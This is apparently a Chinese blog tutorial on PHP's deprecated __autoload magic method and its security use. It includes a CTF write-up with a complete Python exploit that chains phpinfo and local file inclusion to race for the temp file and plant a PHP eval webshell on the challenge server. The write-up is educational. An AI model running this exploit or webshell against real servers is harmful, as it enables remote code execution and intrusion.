autoload魔術方法的妙用
前言:
__autoload魔術方法從PHP7.2.0開始被廢棄,并且在PHP8.0.0以上的版本完全廢除。取而代之的則是spl_autoload_register,但是本文還是研究__autoload。
什么是autoload魔術方法?
首先還是從官方手冊中下手,了解autoload函數

由此可見,__autoload魔術方法需要有一個類名的參數,使用這個魔術方法之后即可自動加載相應的類。
雖然說是自動,但是本質上還是需要我們指定類名,__autoload才會為我們包含文件,自動加載相應的類。
舉一個簡單的例子,假設我們有index.php業務代碼如下:
<?phpfunction __autoload($classname){include("class_$classname.php");}$a = new A();
并且我們有class_A.php代碼如下:
<?phpclass A{function __construct(){echo "I am class A\n";}}
我們可以看到,即使我們在index.php中沒有包含class_A.php中的類A,但是在index.php中卻新建了一個對象,此時因為在index.php中沒有類A,所以PHP會自動調用__autoload魔術方法。
而我們__autoload魔術方法的作用就是將相關文件包含進來,因此最終程序還是成功的將I am class A輸出。

所以,__autoload只需要我們在魔術方法內寫明一個邏輯:如果在后面的代碼中,新建一個對象,找不到對應的類的時候,應該包含哪些文件。
autoload相比手動加載有哪些優勢?
雖然說感覺__autoload很智能,但是通過上方的例子并不能很明顯體現__autoload的優點,因此下方換一個例子,用來展示__autoload相比手動加載的其他優勢。
首先假設我們有autoload.php主業務邏輯代碼如下:
<?php
require_once("class_A.php");require_once("class_B.php");require_once("class_C.php");
if ($_GET["class"] === 'A'){$a = new A();}else if ($_GET["class"] === 'B'){$b = new B();}else if ($_GET["class"] === 'C'){$c = new C();}
光看這么一段代碼就已經覺得手動加載很繁瑣了,因為在這段代碼中,僅僅只是包含了三個文件,雖然本質上的業務邏輯十分簡單,但是代碼看起來很繁瑣,并且在這一段代碼還存在一個很大的問題,就是資源的浪費。我們可以看到主要的業務邏輯就是一個if語句,并且無論我們往class中怎么傳參,總是至少有兩個類是無法新建的。也就是說,在代碼最上方的三行包含文件代碼中,至少有兩行的文件加載是多余的。因此,這樣就就造成了資源的浪費。
那么如何解決這一個問題呢?
答案就是使用__autoload魔術方法,在我們需要的將相關文件包含進來。
因此我們將autoload.php代碼修改如下:
<?php
function __autoload($classname){require("class_$classname.php");}
if ($_GET["class"] === 'A'){$a = new A();}else if ($_GET["class"] === 'B'){$b = new B();}else if ($_GET["class"] === 'C'){$c = new C();}
這個時候不僅代碼看上去清爽了很多,而且在理論上,運行的效率會更高,占用的系統資源會更少。
除此之外,這么寫其實還有一個優點,這里用到的文件包含函數是require,而上方使用的是require_once,這么寫的好處就是:如果后面再次調用類A、B、C,那么PHP會自動從內存中加載這些類,不會再一次調用__autoload魔術方法。
那么,__autoload在開發中這么神奇,在安全中有沒有什么利用場景呢?
有!那必然是有!下面將從一道CTF賽題中看看__autoload在安全中是怎么用的。
從一道CTF題看autoload
首先題目代碼如下:
<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-10-13 11:25:09# @Last Modified by: h1xa# @Last Modified time: 2020-10-19 07:12:57
*/include("flag.php");error_reporting(0);highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){ $this->vip = 0; $this->secret = $flag; }
function __destruct(){ echo $this->secret; }
public function isVIP(){ return $this->vip?TRUE:FALSE; } }
function __autoload($class){ if(isset($class)){ $class(); }}
#過濾字符$key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error");}$ctf = $_POST['ctf'];extract($_GET);if(class_exists($__CTFSHOW__)){ echo "class is exists!";}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf);}
我們可以看到在類CTFSHOW里有一個__autoload魔術方法,雖然是在類里面,但是這是一個全局的魔術方法,也就是說只要調用未知名稱的類,都會調用__autoload這個魔術方法,而__autoload魔術方法將傳入的參數作為命令執行。
然后我們再往下審計:
$key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error");}$ctf = $_POST['ctf'];extract($_GET);
這一部分代碼是過濾部分字符,POST傳入ctf,并且將GET請求中的變量名和值進行賦值
if(class_exists($__CTFSHOW__)){ echo "class is exists!";}
這一部分有一個函數:class_exists
這一個函數和前面提到的新建對象一樣,如果不存在這個類,同樣也會調用__autoload魔術方法
而且需要有一個__CTFSHOW__變量,但是下劃線過濾了。不過沒關系,在PHP中,當我們使用.作為變量名時,PHP會將.轉化為下劃線。
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf);}
而這一部分代碼不允許ctf中存在:,并且過濾了log,也就是不允許我們日志注入,但是這里存在一個文件包含。
因此我們可以考慮利用文件包含結合phpinfo進行RCE。

這里貼一個項目鏈接,這個項目大概就是可以通過phpinfo結合本地文件包含,利用PHP的文件上傳會存在臨時文件的特性,進行getshell,具體原理就不再贅述了,參考說明文檔即可。
exp鏈接:vulhub/exp.py at master · vulhub/vulhub (github.com)
說明文檔:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)
將改exp修改部分后,如下:
#!/usr/bin/pythonimport sysimport threadingimport socket
attempts_counter = 0
def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'): """ 根據提供參數返回請求內容 :param host:HOST :param port:端口 :param phpinfo_path: phpinfo文件地址 :param lfi_path: 包含lfi的文件地址 :param lfi_param: lfi載入文件時, 指定文件名的參數 :param shell_code: shell代碼 :param shell_path: shell代碼保存位置 :return: phpinfo_request: phpinfo 請求內容 lfi_request: lfi 請求內容 tag: 標識內容 """ tag = 'Security Test' # 搜索驗證標識 payload = \'''{tag}\r<?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)
request_data = \'''-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r{payload}-----------------------------7dbff1ded0714--\r''' .format(payload=payload)
phpinfo_request = \'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\rHTTP_ACCEPT: {padding}\rHTTP_USER_AGENT: {padding}\rHTTP_ACCEPT_LANGUAGE: {padding}\rHTTP_PRAGMA: {padding}\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: {request_data_length}\rHost: {host}:{port}\r\r{request_data}'''.format( padding='A' * 4000, phpinfo_path=phpinfo_path, request_data_length=len(request_data), host=host, port=port, request_data=request_data )
lfi_request = \'''POST {lfi_path}?{lfi_param} HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: {host}\rContent-Type: application/x-www-form-urlencoded\r\rctf={{}}\r'''.format( lfi_path=lfi_path, lfi_param=lfi_param, host=host ) return phpinfo_request, tag, lfi_request
def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag): """ 通過向phpinfo發送大數據包延緩時間, 然后利用lfi執行 :param host:HOST :param port:端口 :param phpinfo_request: phpinfo頁面請求內容 :param offset: tmp_name在phpinfo中的偏移位 :param lfi_request: lfi頁面請求內容 :param tag: 標識內容 :return: tmp_file_name: 臨時文件名 """ phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo_socket.connect((host, port)) lfi_socket.connect((host, port))
# 1. 先向phpinfo發送大數據包, 且其中包含php會將payload放入臨時文件中 # print(phpinfo_request) # print(lfi_request) phpinfo_socket.send(phpinfo_request.encode())
phpinfo_response_data = '' while len(phpinfo_response_data) < offset: # 取不到數據則反復執行 phpinfo_response_data += phpinfo_socket.recv(offset).decode()
try: tmp_name_index = phpinfo_response_data.index('[tmp_name] =>') # 獲取包含payload的臨時文件名 tmp_file_name = phpinfo_response_data[ tmp_name_index + 17: tmp_name_index + 31 ] except ValueError: return None # 2. 再向lfi發送包含payload的臨時文件名, 用于包含 lfi_socket.send((lfi_request.format(tmp_file_name)).encode()) # print(lfi_request.format(tmp_file_name)) lfi_response_data = lfi_socket.recv(4096).decode()
# 3. 停止phpinfo socket連接 phpinfo_socket.close() # 4. 停止lfi socket連接 lfi_socket.close() if lfi_response_data.find(tag) != -1: # 5. lfi response中存在標識內容則payload執行成功 return tmp_file_name
class ThreadWorker(threading.Thread): def __init__(self, event, lock, max_attempts, host, port, phpinfo_request, offset, lfi_request, tag, shell_code, shell_path, lfi_path, lfi_param): threading.Thread.__init__(self) self.event = event self.lock = lock self.max_attempts = max_attempts self.host = host self.port = port self.phpinfo_request = phpinfo_request self.offset = offset self.lfi_request = lfi_request self.tag = tag self.shell_code = shell_code self.shell_path = shell_path self.lfi_path = lfi_path self.lfi_param = lfi_param
def run(self): global attempts_counter while not self.event.is_set(): # 如果沒有set event則一直重復執行, 直到已嘗試次數大于最大嘗試數(attempts_counter > max_attempts) with self.lock: # 獲取鎖, 執行完后釋放 if attempts_counter >= self.max_attempts: return attempts_counter += 1 try: tmp_file_name = phpinfo_lfi( self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag) if self.event.is_set(): break if tmp_file_name: # 找到tmp_file_name后通過set event停止運行 print('\n{shell_code} 已經被寫入到{shell_path}中'.format( shell_code=self.shell_code, shell_path=self.shell_path )) 'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a' print('默認調用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format( host=self.host, port=self.port, lfi_path=self.lfi_path, lfi_param=self.lfi_param, shell_path=self.shell_path ))
self.event.set() except socket.error: return
def get_offset(host, port, phpinfo_request): """ 獲取tmp_name在phpinfo中的偏移量 :param host: HOST :param port: 端口 :param phpinfo_request: phpinfo 請求內容 :return: tmp_name在phpinfo中的偏移量 """
phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) phpinfo_socket.connect((host, port)) phpinfo_socket.send(phpinfo_request.encode()) phpinfo_response_data = '' while True: i = phpinfo_socket.recv(4096).decode() phpinfo_response_data += i if i == '': break
# 檢測是否是最后一個數據塊 if i.endswith('0\r\n\r\n'): break phpinfo_socket.close() tmp_name_index = phpinfo_response_data.find('[tmp_name] =>') print(phpinfo_response_data) if tmp_name_index == -1: raise ValueError('沒有在phpinfo中找到tmp_name') print('找到了 {} 在phpinfo內容索引為{}的位置'.format( phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))
return tmp_name_index + 256
def main(): pool_size = 100 host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show' port = 8080 phpinfo_path = '/' lfi_path = '/' lfi_param = 'isVIP=1' shell_code = '<?php eval($_POST["mb"]);?>' shell_path = '/tmp/g' # 最大嘗試次數 max_attempts = 1000
print('LFI With PHPInfo()') # 一 生成phpinfo請求內容, 標志內容, lfi請求內容 phpinfo_request, tag, lfi_request = setup( host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path, lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)
# 二 獲取[tmp_name]在phpinfo中的偏移位 offset = get_offset(host, port, phpinfo_request)
sys.stdout.flush() thread_event = threading.Event() thread_lock = threading.Lock() print('創建線程池 {}...'.format(pool_size)) sys.stdout.flush() thread_pool = [] for i in range(0, pool_size): # 三 多線程執行phpinfo_lfi thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts, host, port, phpinfo_request, offset, lfi_request, tag, shell_code, shell_path, lfi_path, lfi_param )) for t in thread_pool: t.start() try: while not thread_event.wait(1): if thread_event.is_set(): break with thread_lock: sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts)) sys.stdout.flush() if attempts_counter >= max_attempts: # 嘗試次數大于最大嘗試次數則退出 break if thread_event.is_set(): print('''success !''') else: print('LJBD!') except KeyboardInterrupt: print('\n正在停止所有線程...') thread_event.set() for t in thread_pool: t.join()
if __name__ == "__main__": main()
當然啦,這題除了可以利用__autoload魔術方法結合本地文件包含getshell,也可以用php上傳文件條件競爭來做。
總結:
__autoload之所以好用,首先是因為它是一個全局的魔術方法,并且開發者在使用__autoload的時候,往往是為了包含相關的文件,而在指定包含的文件名時,就可能會出現包含文件可控的情況,雖然__autoload已經在新版本的PHP中廢棄,但是在對我們研究老版本的PHP項目,還是有一定指導意義的。